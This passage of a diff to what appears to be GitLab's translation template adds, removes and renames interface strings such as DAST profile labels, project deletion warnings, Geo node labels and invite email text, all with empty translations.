+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7276,6 +7451,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7447,6 +7625,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7543,6 +7724,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7709,6 +7899,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7739,25 +7932,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7766,7 +7989,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7778,6 +8010,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7787,12 +8022,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7865,7 +8157,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7943,10 +8235,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -8003,6 +8295,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -8024,15 +8319,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -8042,6 +8346,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -8070,6 +8377,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -8080,6 +8394,9 @@ msgstr[3] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -8092,6 +8409,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -8110,6 +8430,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -8150,8 +8473,8 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -8200,7 +8523,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8434,13 +8757,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
+msgstr ""
+
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8473,15 +8805,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8563,7 +8886,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8572,6 +8898,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8584,7 +8913,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8689,9 +9021,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8708,7 +9037,7 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8960,9 +9289,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9251,9 +9577,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9422,6 +9745,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9446,7 +9772,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9725,6 +10051,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -10052,7 +10381,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -10073,6 +10402,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -10082,9 +10414,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -10097,9 +10426,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -10109,9 +10435,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -10124,9 +10447,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10560,12 +10880,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10650,6 +10976,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10659,9 +10988,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10701,6 +11027,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10926,6 +11255,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -11097,30 +11429,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -11136,12 +11453,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -11169,12 +11480,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -11196,15 +11501,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11232,27 +11528,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11265,6 +11546,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11328,6 +11615,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11460,10 +11753,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11640,7 +11933,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11757,7 +12050,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -12039,6 +12335,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12315,7 +12614,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12528,6 +12827,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12543,6 +12845,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12677,6 +12982,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12833,6 +13141,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12986,6 +13300,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -13001,6 +13318,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -13013,13 +13333,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -13028,21 +13348,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -13055,6 +13378,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -13073,6 +13399,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -13148,6 +13477,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13214,6 +13546,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13230,7 +13565,7 @@ msgstr[3] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13257,6 +13592,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13269,13 +13610,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13305,7 +13643,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13317,9 +13655,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13416,6 +13760,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13455,6 +13832,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13554,9 +13934,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13698,6 +14075,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13740,6 +14120,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13755,6 +14138,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -14043,7 +14429,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14275,7 +14661,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14386,10 +14772,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14416,6 +14802,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14479,9 +14868,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14497,9 +14883,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14555,6 +14938,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14576,6 +14962,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14627,7 +15016,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14678,6 +15067,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14693,6 +15088,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
